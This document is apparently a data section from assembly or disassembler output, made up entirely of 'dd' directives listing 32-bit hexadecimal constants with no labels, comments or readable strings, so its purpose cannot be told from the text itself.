dd 520AC5CCh, 189B60A5h, 0D4758AE0h, 2D38261Eh, 34626004h
dd 743408F1h, 72420319h, 43B79B49h, 0B0F0D9E8h, 8ABAF700h
dd 1DA748C4h, 2AB200A5h, 96C3D327h, 0B982BEAh, 0F740FA1Dh
dd 4755DB87h, 0A621CD70h, 1613F60Dh, 505AFBh, 377D624Eh
dd 8873EAA1h, 8228B400h, 0B55FE4FDh, 0FBBC3CC6h, 0DC9C80CBh
dd 910096BDh, 764D7F1h, 3F9E8203h, 0A33ADA69h, 0AE26E8Fh
dd 17006CABh, 0F7F6973Ch, 0B400284Bh, 55397451h, 0EDAF019Dh
dd 0E1059E94h, 4FF0209Ch, 0D244F400h, 7BFEEA2h, 926A006Bh
dd 0F3350A85h, 8770DBDEh, 8E78113Ch, 0C04F2BCCh, 82E90169h
dd 527094h, 45552679h, 569CA15Eh, 7D636402h, 8E668FD1h
dd 0BCBDC09Fh, 4F982521h, 0C8003B40h, 99276760h, 38F4145Ah
dd 936CD200h, 15F110E5h, 704A006Ah, 0EEC5DE0Ah, 9E033680h
dd 176F0752h, 0AD06E8DAh, 7CE90044h, 0D75FC861h, 0EF1C4742h
dd 36C78256h, 400B2EEDh, 301E406Ch, 69D9EB05h, 771DCB35h
dd 7B043D68h, 0B4A3D750h, 3CD96C11h, 179D008Dh, 0EA065E32h
dd 75F800B7h, 0E4D64A30h, 36FC3D8Bh, 22414020h, 87F99D45h
dd 4478E2D9h, 0BB209CB0h, 377481h, 69BFE19Ah, 9799C1DBh
dd 8CB1E500h, 0FD2E61CBh, 1C494ABh, 0BF8B5C79h, 4E08E9h
dd 0C0283C2Bh, 8F96E545h, 2E43A03Eh, 40000961h, 0C6020D0Ch
dd 0C8D51483h, 0C212CE5Bh, 21B88862h, 787D5722h, 35907Fh
dd 855ACECBh, 99455824h, 2F122AE8h, 0A097FFh, 0B0664B89h
dd 271F4AB0h, 4106A6C5h, 249B9BDh, 323D5554h, 5480E920h
dd 8E249887h, 651CB6F8h, 0C50745DFh, 0CB32670Bh, 9D645CB7h
dd 9CC7002Dh, 0C2E0BC42h, 541B01Ch, 169F0870h, 0A5430972h
dd 406888C3h, 0DD0003DEh, 4489A38Ch, 57E980h, 90070BABh
dd 48012ED8h, 4027637Bh, 7CF06896h, 3FC9001Ah, 543D43A5h
dd 0E2EC1B74h, 72758D00h, 0B7E55DFh, 0A4150077h, 308AF71Fh
dd 5C018457h, 0EC24D128h, 59CCBFD8h, 54DC07F1h, 8E1879h
dd 5F75864Dh, 0EAA4A306h, 371D296h, 52E28058h, 4E0F80Ah
dd 8E0F2AD0h, 8328596Ah, 0B0D30F1Eh, 6F50E7BDh, 2D00C8EBh
dd 20B76D2h, 6DF53Eh, 3063C7B8h, 4CAC51h, 0FA1E37D5h, 0DF06A420h
dd 97C04F00h, 7079AFE2h, 0BF823D66h, 4411F5B0h, 2404A1DAh
dd 5C0646Bh, 0D23C60ADh, 64C02CA5h, 2F06076Fh, 0D83F588Bh
dd 4BE20EDCh, 61E03E39h, 2AD29AB5h, 0C9AADE00h, 9F3C7F1Ah
dd 13F68Bh, 3275497Eh, 57EEDACBh, 957A5E00h, 7C856017h
dd 8EB56C46h, 5A037630h, 1DDBA763h, 0F871CED6h, 0F504A52Eh
dd 0B9E1FE80h, 60C267C1h, 5D031839h, 0DD01347Dh, 0CE1D546Fh
dd 98F81659h, 67A9004Ah, 2E92AA31h, 7C64FF02h, 9021C829h
dd 9CE51397h, 487ACF44h, 74ED42BCh, 7122D924h, 94089011h
dd 3CCD5184h, 448D4F3h, 25709942h, 13140821h, 221CF842h
dd 1524AB35h, 128CF121h, 0FD5710ECh, 84C94940h, 33179010h
dd 223C4028h, 0BD42037Bh, 2964473Eh, 0E4A42334h, 46AB5144h
dd 517985BEh, 0FFC51428h, 86057990h, 44298250h, 4701B11Ch
dd 9FEB3831h, 0E5F98D0Bh, 0FB3CFC0h, 0E4354C3Ch, 1845580h
dd 0BEF4A7C6h, 0C162000h, 0ED05D90Fh, 0F58D006Bh, 1D715732h
dd 85002DAEh, 7EABE9Eh, 2CF15689h, 0F84D38Bh, 0B2C03BAAh
dd 8FDC8CAh, 2500C7E2h, 0DD89C42Ah, 71A0FFh, 0E8DC6E9h
dd 0B31F502Bh, 0CCC75900h, 0C252A45Eh, 0D9831EB8h, 0F45FC0A8h
dd 769BDAC4h, 82973Fh, 748EF87Fh, 9C816h, 4B125BC0h, 6570D1A3h
dd 0C3557901h, 1B5A0DA5h, 1445824h, 5B194AFCh, 9FAB084Bh
dd 0BE807A78h, 0CEE4A89Bh, 0D0F30090h, 0E8AD291Ch, 3B263F2Bh
dd 3D8014A7h, 0A433D6DAh, 3251D4Bh, 0BF1D0098h, 99C4C092h
dd 0E71B500h, 7D5851D6h, 6DEA0090h, 8A5B5070h, 0D703D8FAh
dd 2F44BDAAh, 0ECC5886Bh, 22E41CA1h, 7CB70081h, 69939702h
dd 0E02CFE00h, 0D3A179B5h, 9A7A00E2h, 7DF81657h, 8007771h
dd 8D017CF5h, 7C4C8A1Dh, 36091F94h, 0DCB0F75h, 7CC8C03Ch
dd 2634919Ch, 0B2B37106h, 0F0D53Ch, 15785E1Ch, 49F87EC6h
dd 0DE01E071h, 43C3D16Bh, 5F60D07Fh, 1FE50748h, 0E402F3h
dd 2B827EBEh, 5650CF00h, 0DD75FA83h, 0CA961E9Ch, 0E116C1E5h
dd 435FB40Ah, 70906085h, 0C80003DDh, 8723E8E4h, 50F5D309h
dd 0F1F2A402h, 0E02BC880h, 261DC64Ah, 0F4103901h, 24748C84h
dd 0C39CF0h, 0FCE785C1h, 0CD55E8FEh, 46994E00h, 354DABA6h
dd 320701F4h, 0C4EDEF5Dh, 4740209Ch, 0D316C900h, 185B4AFEh
dd 3FAE7E49h, 8F9ECBECh, 0A6DCC1EAh, 0FCEE1EF1h, 8201A298h
dd 3C853AE6h, 2330D06Ch, 29A1073Dh, 41D308EBh, 20B31110h
dd 15009860h, 392C7B73h, 50E8E9FCh, 45BA8AAh, 883A2029h
dd 0D42080E5h, 0E000BFB3h, 1CAA25BEh, 245972D5h, 1C501099h
dd 9909304h, 9410D7A0h, 0AA02CE4Ah, 0C2E261BCh, 859848FCh
dd 65920795h, 3937241Fh, 997A4500h, 5500A39Fh, 264D0D96h
dd 53752Ah, 872491A6h, 0D0CAF9F2h, 0B121300h, 968ED1FFh
dd 157D0027h, 3C063B2Ah, 0CF0390AFh, 0E2C83E48h, 419EA0A8h
dd 0E04E039h, 6254C2F9h, 0ED93FD60h, 0DC00F836h, 462D0526h
dd 0B1D41Eh, 751F1C9Ch, 62CA15C4h, 65063601h, 76C39AD1h
dd 482107F7h, 72B4DAh, 61B28016h, 5824B970h, 3AC4B0h, 0BB8E6723h
dd 713398F1h, 0E5AF03EAh, 895AC643h, 398AFB98h, 80931E3Fh
dd 0C5F84EF0h, 3689F22h, 0F3015D97h, 0F7A8F5B0h, 6F398AD8h
dd 7C358006h, 4CEB1DD9h, 9E380029h, 47DDF04Fh, 6500E360h
dd 0C38B50E2h, 262D9F20h, 13BFFCh, 9B64244Fh, 0C71D3297h
dd 0C0860F0Eh, 70C354h, 0E3B73B1Fh, 30518844h, 14F70903h
dd 0B852ED6Ah, 3D757464h, 720338A3h, 0F20D6002h, 0E004BDA9h
dd 0A013762h, 1C1E3CF9h, 13F4702Bh, 6AE00F9Dh, 3BA00DDCh
dd 7A954ED0h, 0C7330901h, 0C2229BAAh, 14A3DCh, 4C251B26h
dd 3DF39940h, 9305E600h, 887CD5A6h, 0F09E0014h, 0C9B30A51h
dd 47176B8Ah, 0BE00C73Ah, 0A945894Ah, 0FBC101E3h, 99717AACh
dd 3900EFD8h, 0D6C6F50Bh, 97B5ABh, 0CD15175Bh, 7A9C45EAh
dd 874A9B0Bh, 0E4E8003Dh, 3F0DEC65h, 880B175h, 66138B6Fh
dd 0DF1268DDh, 7F0E7648h, 0A26B87FAh, 90B0C08Eh, 28130A5h
dd 62FCD840h, 38C03DC6h, 2F3C3F07h, 3B98BD71h, 0A42726D9h
dd 8C2AE983h, 74C0B467h, 2DF221h, 0AF261B24h, 0E9BA4A0Ah
dd 0A7D2B912h, 0D3C6E600h, 557827h, 53913350h, 0DC9EAB59h
dd 661C4001h, 9F57DF32h, 7FF589C0h, 731312ADh, 23CA008Fh
dd 15F00B47h, 0BD1ED6E6h, 0C1C0DBC0h, 763D3ECAh, 6BEE3A2Eh
dd 8D16F400h, 1287E64Ah, 8B61830h, 0EEED01h, 74BB5FABh
dd 0BEFE8152h, 1E3D03E6h, 43E2804Ah, 0BA7F4EA4h, 0C42E07B1h
dd 0E064C7A5h, 0BBD83776h, 0B8771E02h, 80AEC6F6h, 6CF4FA8Bh
dd 26A20334h, 27108E35h, 4DD29C0h, 217F5700h, 39F94C94h
dd 0C6E40F55h, 0D560A30Eh, 185D3C77h, 1A26A898h, 8780A010h
dd 0AE25DDD3h, 1BC80041h, 0CD0CB41Dh, 0DB007D57h, 354F8DE9h
dd 3E58C6h, 2E319705h, 9DA5D3CEh, 899F9B1Fh, 4D4617C2h
dd 0FFA860A2h, 54DE4D21h, 0F289E63Bh, 44843B92h, 5F63800Ah
dd 700372Eh, 0D616291Dh, 32B2Ah, 0DADE6C7Fh, 43063540h
dd 0DC0FCE72h, 0A09F09F1h, 0CB49891Ch, 275D0019h, 0C8CE1098h
dd 8500B8CCh, 38CEDFAh, 0BA9B1Dh, 8E306263h, 0A80CDF50h
dd 6AF14F03h, 73E0274Dh, 6EB10010h, 77B77F5Ah, 0B9001585h
dd 0C345CB2Ah, 0FF99E0Ch, 0BAAA9541h, 0FCFABCC0h, 0AFB8794Ch
dd 8055B539h, 5D40EAE4h, 3C73E1BFh, 3E806A81h, 49FA52B7h
dd 0C8007FC1h, 0BF02E034h, 16042F77h, 4009ADDCh, 0DDF15130h
dd 5B1DA9B0h, 10401541h, 38D0468Dh, 66EE3D32h, 0FA89Ch
dd 42A4AF0Ch, 3602125Ch, 97C86314h, 74B0403Fh, 5E1B0095h
dd 17F46245h, 430CBB7Fh, 0FA986D76h, 0DE590086h, 721C6749h
dd 61124FD8h, 0B4406CAFh, 0D79465A8h, 0EE67EACDh, 0A09F124Eh
dd 0C9B00177h, 102CD6DFh, 11BB81Dh, 0B059844Bh, 2058B35Eh
dd 0E3E5F6E4h, 23CC0085h, 9C36B5ACh, 31C0A500h, 8C9AFC0Ch
dd 0D4B200AFh, 61DDE773h, 0C400B3E3h, 488136EBh, 243545EFh
dd 9CDE9Eh, 8AC8A98Eh, 4D01E63Eh, 0F0B3093Bh, 0A6402B50h
dd 1DD024h, 9FF6A11Ch, 96D24E7Ch, 0B943F800h, 7FF71B06h
dd 46280720h, 0C0BD7E17h, 9F0868CAh, 8054FA3Ch, 0B4675842h
dd 3F91F3ACh, 3280B517h, 0A85605A0h, 2600E4A9h, 0FF312E8Ch
dd 3CE9EE3Ch, 24991DCBh, 0D09FF084h, 4A001C57h, 0EF564508h
dd 326F5h, 1F324FA2h, 5036F2E7h, 86D20500h, 14933D6Fh
dd 0A25E0782h, 0B0915284h, 924A65AFh, 0D695A30Eh, 8ECB3Bh
dd 1EE91D3Ch, 60161E4Dh, 6663C3BAh, 0F2F05C17h, 0E800E505h
dd 11A26C7Dh, 0A025E056h, 7B850B8h, 7092C4D2h, 28D56010h
dd 84906BB4h, 6736B207h, 7E17C973h, 0A77B7FE0h, 0EBC100ACh
dd 58D8B0A0h, 9D0FF7F6h, 8099DC03h, 2CD52A60h, 6E040031h
dd 0B4F537EEh, 0F200728Dh, 94E5CE3Dh, 12D86BBEh, 7492F46h
dd 0D3C03CA4h, 1FE08108h, 3400E465h, 5279D8CBh, 0F4983D64h
dd 12B900C2h, 84A10423h, 41162156h, 0A503AA01h, 0BA71F227h
dd 0CE446016h, 0E375005Bh, 0B90FB447h, 0E400E169h, 8068BFFBh
dd 0BC3050h, 89B61FC9h, 44F2F893h, 42C88207h, 8FA07275h
dd 0B0678159h, 0DA710438h, 0C0A0C999h, 9ABD4B44h, 1FBB4488h
dd 0EF78C6h, 0D2BF2B7Fh, 590AFED4h, 90D638AFh, 0DFB9FD03h
dd 0D8439306h, 0DCD949h, 7CCB5F03h, 0ED9B5573h, 0B80130B8h
dd 0F013D53Fh, 0D460B6D2h, 82610280h, 6DF7364Eh, 0F431B341h
dd 0F0084ABh, 19BEAFD4h, 1D13959h, 0ECDA6BF0h, 31036E0Ch
dd 33F3D432h, 0F57CC602h, 0C0CFE91Eh, 0F1724h, 55032234h
dd 3AA8479Fh, 81A0C509h, 6E286023h, 54E90EB1h, 70204952h
dd 0C5A527A9h, 0F1C44D00h, 25FF85F2h, 0C72302E4h, 155A13C9h
dd 1426B880h, 0B0770BADh, 21E12705h, 0CB0095BAh, 0C918D819h
dd 0E7F443h, 0A14B81EDh, 713A44AAh, 2A3CFB1Fh, 2061A5FEh
dd 42133928h, 0B840F141h, 2722593h, 0F54D3380h, 0B4A00A4Fh
dd 37E38441h, 0EA2A30B2h, 5748874h, 1126ACA0h, 0C56EE9F6h
dd 919D0011h, 90F8262h, 9AABC3A7h, 4A4020E2h, 0FE25AFA3h
dd 6A78003Eh, 1EE1C3Ch, 0F0E4BDF1h, 285B3347h, 8CA13CE0h
dd 1189DD25h, 46510044h, 98DEFFA6h, 0E661B75Dh, 0C9B26459h
dd 7B82474h, 1FEB8CBAh, 619E63ECh, 37DF1901h, 550CA55Dh
dd 0D49F8B40h, 94250524h, 0C04C0E8Dh, 0A2F0F418h, 0B30032EAh
dd 89302CFDh, 0B8876FF3h, 3F140044h, 7F2F3D81h, 0CE0AF7C0h
dd 0E9C4E990h, 0A6535100h, 3E700FEFh, 310297F8h, 9E02C996h
dd 71B810C3h, 0AA016CD0h, 0A9FD50FAh, 3880389Bh, 0A4100EE5h
dd 700CE66h, 34C3863Ch, 3611292h, 8C22212Fh, 2A8B6993h
dd 117101F0h, 840D5Ch, 31769D62h, 1E73858Dh, 0B12DC98h
dd 70805D7Ch, 0EDB57796h, 1E2B6B00h, 5A93A642h, 1CAA00ACh
dd 27E78DD2h, 0B200F6EFh, 34E96D92h, 8591C5h, 7EE5550h
dd 0E59CC368h, 92FA48h, 181ADE47h, 3C91BDF2h, 0A480EC98h
dd 2A5EB344h, 0C200FEB2h, 9E3F7E56h, 0DE2BA1h, 25F4CD97h
dd 0A31324ECh, 36A2E224h, 0DFEDB00h, 7D60B4AAh, 0CA9F003Eh
dd 6335230Bh, 8F07BB9Dh, 98B33925h, 11AA5870h, 22B000F6h
dd 13DD3637h, 0E8E1ACA4h, 1A029C33h, 0CA19BDF0h, 4753E069h
dd 0AC7013EBh, 31E8F0FEh, 0B895FB00h, 3861DE5Fh, 8FD23DFAh
dd 60BB7900h, 5CEB6825h, 0C8E7AC3Eh, 4DDA0075h, 0EDEEF3FEh
dd 96867867h, 0F0230050h, 0DF6E0FB3h, 0BA001D90h, 0EF468007h
dd 21FD3F3h, 603A3FC0h, 34E04FFBh, 8400F6DFh, 0F8A8E804h
dd 356CD6Fh, 0CE0CEF74h, 45F358CCh, 46300B88h, 0E2DF1800h
dd 0B5B9A7BCh, 0DB5001FEh, 0A4D74202h, 7082E092h, 4E583900h
dd 84C8AE96h, 0A7E10003h, 44AB6EFBh, 0FA000B66h, 0F9FD1CCFh
dd 5D58F1h, 34CBEC1Bh, 0F5A1428Ch, 54B93E00h, 0BF5FB551h
dd 72988Bh, 0D7F6F97Bh, 0FBDC4917h, 8ED51100h, 2CB54F8Ah
dd 26CA00EAh, 1AE97967h, 0FE032B0Bh, 41B62139h, 0AB239145h
dd 323870h, 0FA53117Bh, 13490472h, 861E39h, 7173F518h
dd 0D4F1F0h, 98A95F38h, 6F4C8BB6h, 9074400h, 837FB94Ah
dd 63DB0024h, 943702E4h, 0F022E50h, 0D0F0AA2Ah, 0CEB4C053h
dd 74A7004Ch, 87EBFD52h, 0F7040DB6h, 9915F3E2h, 717D7C80h
dd 0E12D0068h
dd 371CD490h, 0D500C984h, 0AA421A4Bh, 1680BB10h, 0C0CAF860h
dd 0ED44A064h, 0AE0081F2h, 0BF9B7FFAh, 235C74Dh, 15665239h
dd 0FC40E4CDh, 28003B1Dh, 3FB531F5h, 32F14FEAh, 0C249CFDCh
dd 500A4E01h, 0E8E45434h, 8E5D09A0h, 74A0E0DFh, 83026009h
dd 852CC000h, 968FBA71h, 175C000Bh, 4EFBFA6Ah, 9C010E8Eh
dd 7D7686EEh, 1260C593h, 7E110069h, 0F1859458h, 1BFA0F39h
dd 343E951Dh, 64305340h, 0FDA3DEh, 0F3D51A3Ch, 23628A27h
dd 1B8C802Eh, 3F1C6817h, 7A484540h, 14C227FCh, 8CBB6CA6h
dd 4DB12400h, 68C6948Ah, 0D966D40Bh, 52F080F2h, 0B0D7FA0Fh
dd 1E2E1D78h, 4D0D4311h, 6E88301Dh, 0FD1EE880h, 6340F10Bh
dd 87FEAB17h, 0D9712Ch, 5B78C434h, 21F828ADh, 49F9E214h
dd 74060998h, 46D0A0CDh, 71981BAh, 7907A435h, 6B281778h
dd 0E1CD3401h, 0AD0BC0EAh, 0DAD15A01h, 0C7A24A9Ch, 0B6015C3Dh
dd 60E17359h, 3360609Dh, 4912C505h, 0C401E51Ah, 9214EF87h
dd 3349130h, 75217B1Fh, 797F153h, 1ABF60EBh, 2913715Ah
dd 0A8006D78h, 0E80316C4h, 847A53h, 0B8D111F9h, 0EB09FF45h
dd 0A9968000h, 369EAB66h, 0FD3401A0h, 0A8B77C5Fh, 0F419807Bh
dd 9744FC65h, 6C9003CFh, 0B4EAFB3Ah, 0F8AD1100h, 9B1816F7h
dd 89731F30h, 70A60E2Bh, 0C17F403Fh, 6938AADCh, 99BC8E01h
dd 0D7F7B760h, 1B87460h, 1BED4843h, 3013F911h, 45038F9Ch
dd 0EA3AE6A4h, 1A6BE826h, 0A433497Eh, 2A61800h, 3DF6887Fh
dd 9113620Eh, 3917A055h, 48E68FEAh, 0B907B092h, 10DD8AFDh
dd 2DEF0BE2h, 32C3448h, 0C3881BD1h, 924E9081h, 0B1350009h
dd 3FC437Bh, 7400BA17h, 9C08AEDDh, 6C2EDD9h, 108D8C86h
dd 0A1000899h, 94AD4832h, 0AB063Eh, 56709F31h, 20A04284h
dd 8F29500h, 0FA9EAAF7h, 0BB8107B9h, 70ABDB25h, 671EA112h
dd 80FE333Ch, 85622E57h, 0E74204h, 79117C0Eh, 2318C776h
dd 1000EC98h, 81C0CEEFh, 20638Dh, 5539F8DDh, 0E2E4E505h
dd 80AE023Bh, 17C65D2h, 7CB72574h, 7A77005Eh, 9D31720Bh
dd 6B3BEBA4h, 8DC5808Fh, 0E199E73Fh, 51AE007Bh, 3DEF610Ch
dd 0BE1EE382h, 92C0EB90h, 0E222E069h, 36230B48h, 6A0216FDh
dd 38F08A0Ch, 0F27F5500h, 97D8CE3Ch, 35980EC9h, 0CF6FECD2h
dd 0AB61C1C0h, 205C1EF7h, 976F1E23h, 185FDEFBh, 4CC18C83h
dd 5070EB65h, 780F48h, 8434224Bh, 1133FD8Bh, 1AF0CF00h
dd 0E588A471h, 7F540F5Eh, 0C0C7C8B5h, 46B372D6h, 49B094E0h
dd 0C119CF17h, 77BAC880h, 4428F717h, 2D221C03h, 5FF0D624h
dd 4401048Ch, 0D470FC9Dh, 0A8CB2CECh, 900183BFh, 0CEB58D8h
dd 5F1416h, 3B938D04h, 789AAEC4h, 0A012379h, 74E32A5Ch
dd 4ECC5967h, 0FC1C0032h, 504635A1h, 2701CB13h, 0B0DC238h
dd 0A7E03BB4h, 89DF245Ah, 0FC803978h, 0E848F50h, 3300483Ah
dd 0B3EC418Eh, 25CE2151h, 80A375E7h, 7800832Eh, 4A11EA9Bh
dd 0D373ACh, 3C131656h, 0EB691C68h, 80D75000h, 4BC0FA34h
dd 4DFC0063h, 0F78D661Ah, 1F0028F3h, 0DF73EF90h, 25F55F53h
dd 7C4096E5h, 0F400A821h, 8D72E281h, 729BEE07h, 19EC64h
dd 909D05C6h, 6386FE82h, 0FDC76600h, 0E87F3FFFh, 0E7809B3h
dd 444087AFh, 0E00053FBh, 1844691Bh, 0EF42F33h, 2DC6D936h
dd 0FED234C0h, 0F505E546h, 68113B54h, 0DD6F3490h, 0F477DCh
dd 2A5FEF8Fh, 0EDAD0E19h, 1A079F2Dh, 4858A4h, 0E20AD12Ah
dd 0E88AFAF6h, 0CC307700h, 49BAEAC7h, 0DAEC1DC5h, 1800E511h
dd 0A05BF336h, 0F2CD7806h, 88990Dh, 0B51E514Ah, 0EC3B6170h
dd 4FD03201h, 0E2D4504Dh, 259886DCh, 0F0271B58h, 0C0A4D014h
dd 15F469BAh, 8886C40Ch, 0B64478C9h, 50B707B8h, 1420F999h
dd 0EC8D7727h, 0B60ADE13h, 65B000AEh, 92757490h, 571B0D04h
dd 0E8C0ADD6h, 48688876h, 0C301359Bh, 0EBB2B370h, 0F6488189h
dd 3059DD37h, 0FA463C8h, 8620F8FAh, 93872A43h, 0E99BA101h
dd 1C57EBA5h, 2A352C48h, 1CA0EDD3h, 518A36Bh, 0A0BF5664h
dd 0F901E87Ch, 0CD20E094h, 0B5E01033h, 2C98003Eh, 9756C170h
dd 0C8A0C6A1h, 5507F199h, 0BC145489h, 0EB778880h, 0E4E009h
dd 23E62E5Fh, 9F5985C5h, 6B204B60h, 17012C47h, 0C07929D3h
dd 223720F0h, 0C010A84Bh, 692300EEh, 4DCA291Eh, 570A000Dh
dd 5E6CB37h, 6A01F10Ch, 6B8E0843h, 78CA97FDh, 7CF40188h
dd 0CF1E72DCh, 0E17BE8DAh, 2C8E407h, 23510115h, 0BDE0A3D9h
dd 8B6903D0h, 7E29EF8h, 138C0FCh, 0DB4A90DCh, 11F0781Dh
dd 0B56182h, 2DE9FE08h, 0CE72B6DFh, 32B08800h, 8EBC9F50h
dd 0B3390027h, 0FD217A8Dh, 8C002E56h, 9E4C3A7h, 0E4CA88A0h
dd 598E0C1h, 7C338EB5h, 0E8D04295h, 0C4A0C8B1h, 823861EBh
dd 0EE01492h, 1C21FB07h, 1B25091Fh, 7B79D0F0h, 86100FFh
dd 0C4B16865h, 7B00EAB7h, 1CF96DBh, 143D2C1h, 0C20AE926h
dd 60562917h, 0ED00A0C4h, 7E9E9D38h, 745966F8h, 0A9786Bh
dd 0A6E235E4h, 136709BBh, 0C00DCBEh, 0EC0B3381h, 1A1C0C7h
dd 9EB31492h, 0BA3F4A00h, 0DA61EAD2h, 0C29C015Fh, 7CB82487h
dd 0F757C49Ah, 0AAEF4700h, 0E155787Ah, 0CBAF0023h, 2EDA267Eh
dd 1400A3C6h, 828C881Ah, 390761ECh, 773EE5h, 5B0D119Ah
dd 88564CFh, 27D33107h, 0FAE07ADAh, 0E943FCh, 0ADA7A2AAh
dd 3F2CA964h, 6752D617h, 1DED3CC0h, 0B3BF801Fh, 10E5D230h
dd 2F5E495h, 42C07F17h, 0EAE0CA58h, 0BF003161h, 0C395ADE6h
dd 39148974h, 938063A5h, 5AA30216h, 0A80076D5h, 80B2B14Eh
dd 7111A7Ah, 1B0E93C9h, 7E4FA5Ch, 0C0F2EF1Ch, 0D78E5DC0h
dd 3C3FAD01h, 0F61A27E9h, 5FCAE4h, 1F4A4E28h, 0DC8B04A7h
dd 9B46BA02h, 0E0698ACCh, 0ED01A550h, 171D5DF4h, 1975924h
dd 0F729E554h, 38B8684Ch, 2E73809Bh, 0B86BEE27h, 8303009Fh
dd 7F97B2FEh, 7107C1CAh, 3160EB8Ch, 0FF2420C9h, 1D05FEh
dd 6A0A101Bh, 38EEA3D1h, 0E401B090h, 93751987h, 0FC34C817h
dd 0DAD24AA8h, 258F0908h, 780820F9h, 50B86677h, 9186A0h
dd 1E386384h, 1C6C03E6h, 0FD9FC200h, 952D71EFh, 0DBD0004Ah
dd 0EB3C6270h, 0D100E133h, 71AB84E0h, 1BC6AAh, 0F125992Ah
dd 8CF978B5h, 100DFE0h, 5F646CFDh, 0FAA1FF14h, 68DE48C1h
dd 74CD4000h, 0C94F60D6h, 777BA300h, 7503529Ch, 0DB0D006Ch
dd 7B05DC6h, 422E0F86h, 4602DDEEh, 0E0A64B39h, 55C4C0h
dd 29768378h, 0FC401743h, 23D9400h, 85C28F18h, 103904FAh
dd 0C1C460CDh, 34E522F6h, 0CC0209B4h, 0ECC70726h, 0A88A0B8h
dd 0F6318Dh, 0A3AA68F9h, 0B9D54288h, 5C783702h, 6BFF76FCh
dd 9357B870h, 0B887075Bh, 0A0461CCCh, 0E8D7FCB3h, 0CFB65428h
dd 740B3C00h, 1FDF53AFh, 9E802836h, 810500D0h, 0D2B9FB3Dh
dd 0D89A7327h, 48405216h, 13E1D027h, 99806FA4h, 785C59F9h
dd 0A0B04820h, 807DD425h, 0D50EEDCh, 0E8580006h, 6BDFA1E9h
dd 6C1EF7B5h, 7C0C9F9Ch, 17866101h, 13BC9Bh, 5F124120h
dd 0C400DCD8h, 55AC0219h, 77A4A7h, 73CE0BD1h, 58B4A35Ch
dd 60FCAB0Bh, 5209000Dh, 4E9B63AFh, 20500090h, 6793EEACh
dd 0B0B05744h, 4E704F8h, 912715D8h, 44E3A240h, 8B8CD8C8h
dd 0AFB05305h, 2CC870E2h, 0A1C6055Ah, 0DC5D1006h, 90033320h
dd 97A2B99Eh, 14D17C7Eh, 90040CF1h, 6A01FC58h, 0FC023C80h
dd 2B20823Ah, 0EC6C83BEh
dd 18271564h, 0B8038C4h, 0A24B3BA4h, 78FDCA31h, 0B475799Fh
dd 0D82090E6h, 25291639h, 0B0EA0196h, 0CE923091h, 20C1B841h
dd 0F224E3D0h, 912CF8A9h, 679B9700h, 0CA5E081h, 0AE7AA7B6h
dd 4E00F648h, 6014AF5Fh, 0C0D51104h, 0B32CA461h, 0E330F736h
dd 691A888Ah, 0E9196347h, 52AEB0A7h, 0CCF64812h, 7382038h
dd 0FDAED317h, 0A4FE4067h, 0F900294Eh, 0D9723066h, 28F96D1h
dd 0DEFB3F90h, 0FDC183EBh, 246082ACh, 0E0B73375h, 50BA2304h
dd 0B688C491h, 0E27450B0h, 4C29B103h, 0E093035Dh, 1F73CA77h
dd 40AF242Dh, 112FC7D8h, 61028B54h, 9A6E17F4h, 16FC5ECAh
dd 7CCC0039h, 0A491C089h, 6B103860h, 78C8F4D9h, 3F2009ADh
dd 420B853h, 0ACD7D235h, 89DA873Eh, 20264884h, 786EA480h
dd 0C13B2C9Ch, 0E9BF80C8h, 2B193A2h, 0C828C5F4h, 4700908Ah
dd 0C777DEDBh, 44FC10h, 8D322D75h, 2AC93C0Eh, 3C21223Dh
dd 0BBD08002h, 0F35250B1h, 6E260029h, 6C4D3C8Ah, 6200BD11h
dd 8EB2D025h, 1CF7F1h, 8DBBB00Fh, 158493FFh, 1F9CC65Dh
dd 0FBC0D3A1h, 0F59AEE7Ah, 32E31D47h, 0B694813Ch, 0C6EC4ABBh
dd 6FBF04E0h, 1CA74200h, 0D1D0FD12h, 9E5C007Ah, 0F26A9F22h
dd 0A1F0AEE2h, 0D60EAF00h, 10B0F155h, 3DB7B83Ah, 5878B70h
dd 221D8835h, 0BC807EFFh, 0D09006BDh, 0DA01FC76h, 0A756A43Dh
dd 0A8413181h, 72EDC4Eh, 0A08F3378h, 7C5D61E9h, 0FFD14F00h
dd 493BB0CFh, 0A3500A0h, 0BC727813h, 0C20E4802h, 10F22Ch
dd 6BE708DAh, 59F1008Dh, 0BE054918h, 3D27CBEAh, 484C1Bh
dd 0BA346C8Ah, 4E32218Fh, 4E0B800h, 2EB960B4h, 1D3AF436h
dd 75DF640h, 20D8897Ah, 0FD6A9050h, 0E18C4700h, 165638BCh
dd 0B9D003Ch, 0F28AC1D0h, 510E08A7h, 8024FD8Bh, 0C2E03B72h
dd 0F3E8F8B8h, 245D98FCh, 800CAB39h, 0FA601B7Eh, 5E1DD3E1h
dd 911DB4A5h, 80BBD28Bh, 57460EFDh, 722D009Ah, 74FDA9AEh
dd 9C00BA18h, 0FCC243B7h, 0BC7F5Bh, 13CF7A17h, 0F7F9C7CCh
dd 83077E00h, 0AA03FC33h, 43FB006Ah, 0C390CEDEh, 2005AB2Ch
dd 0CA980257h, 0D6D4A4C0h, 0AB91FA8h, 0FE5C4C19h, 0CB005719h
dd 992BA55Bh, 2C3CF9E8h, 760ADA0h, 0D072D2CEh, 2810925h
dd 56B7C8A8h, 0A87EEF00h, 0E7535740h, 0E44607F5h, 0FA883677h
dd 40200BCh, 5F9C69F9h, 6016DCCBh, 165A7770h, 949EEE5h
dd 4C517682h, 607D820Fh, 0F7BD1DEFh, 9C735962h, 80F1771Eh
dd 3A6EAA3Ch, 9FBEA4h, 0DBDDFC34h, 64310BE8h, 58A08142h
dd 0EA5C6DFh, 0A11A9900h, 799251CDh, 33E0305h, 8E49FCB5h
dd 0FD6F30D7h, 52EEEDDDh, 0DE00809Ah, 3DF39706h, 96118A6h
dd 1D67517Dh, 0C02B7880h, 0CE04804Ah, 1A06C8BFh, 8627DCD8h
dd 0CD8D60C9h, 0B500460h, 0E520D04Fh, 865899D7h, 0CC105104h
dd 8C3204F5h, 20B25112h, 0BB33F751h, 10DC600h, 44E2EF60h
dd 303B5895h, 54007AA8h, 0E89E0991h, 2797A6B3h, 0D8196C1Eh
dd 5C15129Dh, 21BC00D8h, 396DACAAh, 84E6B80Fh, 680DAAECh
dd 0C86652h, 9EB93CF1h, 0F9F7D450h, 140020B1h, 346FB705h
dd 170EBh, 52732FACh, 0D5E2DDBDh, 0FF4DFB03h, 800413BFh
dd 0B799583h, 0EE1BA476h, 5496301Ch, 0E91480B9h, 70760FE3h
dd 0F1343B51h, 6FE4A502h, 4C80641Dh, 43F7A6F4h, 1B00209Ch
